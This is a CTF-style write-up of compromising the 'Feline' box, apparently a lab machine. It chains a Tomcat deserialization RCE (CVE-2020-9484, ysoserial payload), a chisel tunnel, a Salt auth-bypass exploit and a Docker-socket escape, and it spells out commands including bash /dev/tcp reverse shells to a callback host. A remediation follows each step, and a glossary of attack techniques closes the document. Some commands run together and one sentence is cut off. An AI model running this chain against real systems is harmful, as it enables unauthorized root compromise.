Feline
Summary
Recon (nmap -p-, curl) identified port 8080 running Apache Tomcat 9.0.27 hosting a "VirusBucket" malware-analysis upload app at /service/. Tomcat ≤9.0.35 is vulnerable to CVE-2020-9484 (session-persistence deserialization RCE): the upload form writes user-controlled filenames verbatim to /opt/samples/uploads/. A Java deserialization gadget chain was generated with ysoserial (CommonsCollections2, confirmed via an out-of-band HTTP callback) and uploaded as f.session. Sending a request with `session cookie [REDACTED: session value]
Local enumeration (ss -lntp) revealed a SaltStack salt-master bound to loopback on 4505/4506, inaccessible externally. A chisel reverse SOCKS/port-forward tunnel (chisel server --reverse on operator, chisel client ... R:14506:localhost:4506 on target) exposed 4506 back to me as local port 14506. This master was vulnerable to CVE-2020-11651 (Salt auth-bypass) chained with CVE-2020-11652 (directory traversal); the jasperla/CVE-2020-11651-poc exploit.py --exec primitive executed arbitrary commands with root privileges — inside a Docker container.
Privilege escalation to the true host root exploited the container's exposed Docker socket (/var/run/docker.sock, hinted by /root/[REDACTED: placeholder].txt and root's .bash_history). Using the Salt RCE as a proxy, the socket was queried (curl --unix-socket /var/run/docker.sock), then a new container was created via POST /containers/create with Binds: ["/:/mnt:rw"] (mounting the host filesystem) and a Cmd that chroot /mnt'd into a bash reverse shell. Starting that container (POST /containers/<id>/start) executed the chroot'd shell as root on the host, confirmed by uid=0(root) and /root/root.txt.
Attack path — how the box was taken
Exact commands 2
nmap -Pn -p- --min-rate 5000 -T4 -sV $TARGETcurl -sS -L http://$TARGET:8080/service/Exact commands 4
nc -lvnp 4444java -jar ysoserial.jar CommonsCollections2 'bash -c {echo,<BASE64_REVSHELL>}|{base64,-d}|{bash,-i}' > f.sessioncurl -sS -F 'file=@f.session;filename=f.session' http://$TARGET:8080/service/curl -s http://$TARGET:8080/ -b "$SESSION_COOKIE"FixPatch Tomcat to 9.0.36+ and sanitize upload filenames to eliminate the deserialization RCE primitiveCritical
Exact commands 1
id; find / -name user.txt -type f -readable 2>/dev/null -exec sh -c 'echo FILE:$1; cat "$1"' _ {} \;Exact commands 2
ss -lntp | grep -E ':4505|:4506'cat /etc/salt/master 2>/dev/null; ls /etc/salt/ 2>/dev/nullExact commands 4
chisel server --reverse --port 9001setsid -f ./chisel client $CALLBACK_HOST:9001 R:14506:localhost:4506 &git clone https://github.com/jasperla/CVE-2020-11651-poc && cd CVE-2020-11651-poc && python3 -m venv saltvenv && saltvenv/bin/pip install salt looseversion distrosaltvenv/bin/python exploit.py --master localhost --port 14506 --exec 'id'FixPatch SaltStack and restrict salt-master port access to trusted hosts onlyCritical
Exact commands 5
saltvenv/bin/python exploit.py --master localhost --port 14506 --exec 'ls -la /var/run/docker.sock'saltvenv/bin/python exploit.py --master localhost --port 14506 --exec 'curl -s --unix-socket /var/run/docker.sock http://$LOOPBACK/images/json'nc -lvnp 4446saltvenv/bin/python exploit.py --master localhost --port 14506 --exec "curl -sS --unix-socket /var/run/docker.sock -H 'Content-Type: application/json' -X POST -d '{\"Image\":\"sandbox\",\"Cmd\":[\"/bin/sh\",\"-c\",\"chroot /mnt bash -c \\\"bash -i >& /dev/tcp/$CALLBACK_HOST/4446 0>&1\\\"\"],\"HostConfig\":{\"Binds\":[\"/:/mnt:rw\"]}}' http://$LOOPBACK/containers/create"saltvenv/bin/python exploit.py --master localhost --port 14506 --exec "curl -sS --unix-socket /var/run/docker.sock -X POST http://$LOOPBACK/containers/<container_id>/start"FixRemove the Docker socket bind-mount from all containers that do not strictly require direct daemon accessCritical
Exact commands 1
id; hostname; cat /root/root.txtAttack patterns used
The transferable techniques behind this compromise.
Cron Job AbuseLinux · Privilege EscalationT1053.003
What it is
Scheduled tasks running as root that invoke a writable script, a wildcard, or a relative path can be hijacked. Watching processes with pspy (no root needed) reveals cron jobs; if the executed file or its directory is writable, I overwrites it with a payload that runs at the next interval as root.
Why it works
Cron jobs are written for convenience and often reference world-writable paths or use unsafe wildcards (tar *). Remediate with absolute paths, restrictive permissions on scripts, and avoiding shell wildcards in privileged cron jobs.
Read more
Insecure DeserializationWeb · Service RCET1190
What it is
Applications that deserialize user-controlled data (Java, .NET, PHP, Python pickle) can be driven to instantiate 'gadget chains' — sequences of existing classes whose side effects during deserialization culminate in code execution. ysoserial/ysoserial.net generate the payloads; ViewState and Java RMI/JMX are common entry points.
Why it works
Deserializers reconstruct arbitrary object graphs and invoke magic methods on untrusted input. Remediate by avoiding native deserialization of untrusted data, using signed/encrypted state, and enforcing strict type allow-lists.
Read more
Unrestricted File UploadWebT1505.003
What it is
An upload feature that doesn't properly validate file type/content lets me upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.
Why it works
Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.
Read more
Local File InclusionWebT1190
What it is
A web app builds a file path from user input (?page=../../etc/passwd), letting me read arbitrary files or, via log poisoning, PHP wrappers (php://filter, data://), or session files, achieve code execution. LFI commonly leaks credentials, SSH keys, and source code that feed the next step.
Why it works
The app trusts a path parameter and fails to constrain it to an allow-list. Remediate by mapping identifiers to fixed file paths, disabling dangerous PHP wrappers, and canonicalizing/validating paths.
Read more
SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004
What it is
Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets me authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.
Why it works
Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.
Read more
Tomcat Manager WAR DeployWeb · Service RCET1190
What it is
Apache Tomcat's Manager application allows deploying web applications. With valid (often default/weak) manager credentials, I uploads a malicious WAR file containing a JSP webshell, which Tomcat deploys and executes — code execution as the Tomcat service user.
Why it works
The Manager app is exposed with default or guessable credentials (tomcat:tomcat, admin:admin) and the deploy feature is RCE by design. Remediate by removing/locking down the Manager app, using strong credentials, and binding it to localhost.
Read more
Findings
Exposed services
| 22/tcp | ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0) |
| 8080/tcp | http Apache Tomcat 9.0.27 |